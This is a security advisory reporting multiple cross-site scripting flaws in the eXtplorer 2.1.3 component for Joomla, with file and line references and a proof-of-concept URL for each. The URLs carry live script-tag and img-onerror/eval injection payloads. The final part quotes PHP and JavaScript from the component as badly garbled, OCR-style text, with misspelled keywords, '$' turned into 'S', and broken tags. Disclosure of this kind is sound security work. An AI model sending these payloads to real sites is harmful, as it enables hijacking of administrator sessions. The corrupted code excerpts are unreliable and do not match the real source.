[bookmark: OLE_LINK11]Multiple cross-site scripting (XSS) vulnerabilities in eXtplorer 2.1.3 component for Joomla! allow remote attackers to inject arbitrary web script or HTML code via a crafted string in the URL to application.js.php, admin.php, copy_move.php, functions.php, header.php and upload.php.
Discovered by Mahmoud Ghorbanzadeh, in Amirkabir University of Technology's Scientific Excellence and Research Centers.

	Details
Component: eXtplorer 2.1.3
Home Page Address: http://extplorer.net/


	
File: /scripts/application.js.php
Line: 45

[image: ]

POC:
http://site/administrator/index.php/"></script><script>alert('XSS')</script>?option=com_extplorer&tmpl=component


	
File: /include/admin.php
Lines: 72, 143, 176 and 210
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POC:
[bookmark: OLE_LINK12][bookmark: OLE_LINK13]http://site/administrator/index.php/<img src=x:alert(alt) onerror=eval(src) alt=XSS>?option=com_extplorer&tmpl=component&action=post&do_action=admin


	
File: /include/copy_move.php 
Line: 158 
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[bookmark: OLE_LINK14][bookmark: OLE_LINK15]
POC:
http://site/administrator/index.php/<img src=x onerror=alert('XSS') >?option=com_extplorer&tmpl=component&action=post&do_action=copy


	
File:  /include/functions.php 
Line: 933 
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POC:
http://site/administrator/index.php/"></script><script>alert('XSS')</script>?option=com_extplorer&tmpl=component


	
File: /include/header.php
Line: 73
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[bookmark: OLE_LINK16][bookmark: OLE_LINK17]
POC:
http://site/administrator/index.php/"></script><script>alert('XSS')</script>?option=com_extplorer&tmpl=component


	
File: /include/upload.php
Lines: 191 and 259
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POC:
http://site/administrator/index.php/<img src=x:alert(alt) onerror=eval(src) alt=XSS>?option=com_extplorer&tmpl=component&action=upload
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Ext.Ajax.request( { url: "<?php echo basename (SGLOBALS['script name']) 23",
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if (defined('EXT_STANDALONE')) {
SGLOBALS['mainframe '] ->addcustomheadtag ($scriptTag) ;
b else ¢
echo $scriptTag:
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echo "<td width=\"253\" styl
-sprintf( SGLOBALS['messages']['switch _file mode'l, Smode
</td>\n";

"padding-left: 15px; color:black;\">"

$logoutlink, implode (',

!, Salternate modes ) ). "
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"url":"<?php echo basename( $GLOBALS['script name']) 2>",
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fanction ext_init(){
Ext.BLANK_IMAGE_URL = "<2php echo _EXT_URL 2>/scripts/extis3/zesources/images/defaulc/s.git";
/1 create the Data Store
datastore = new Ext.data.Store({
proxy: new Ext.data.HccpProxy({
"<2php echo SGLOBALS['script name'] 27,
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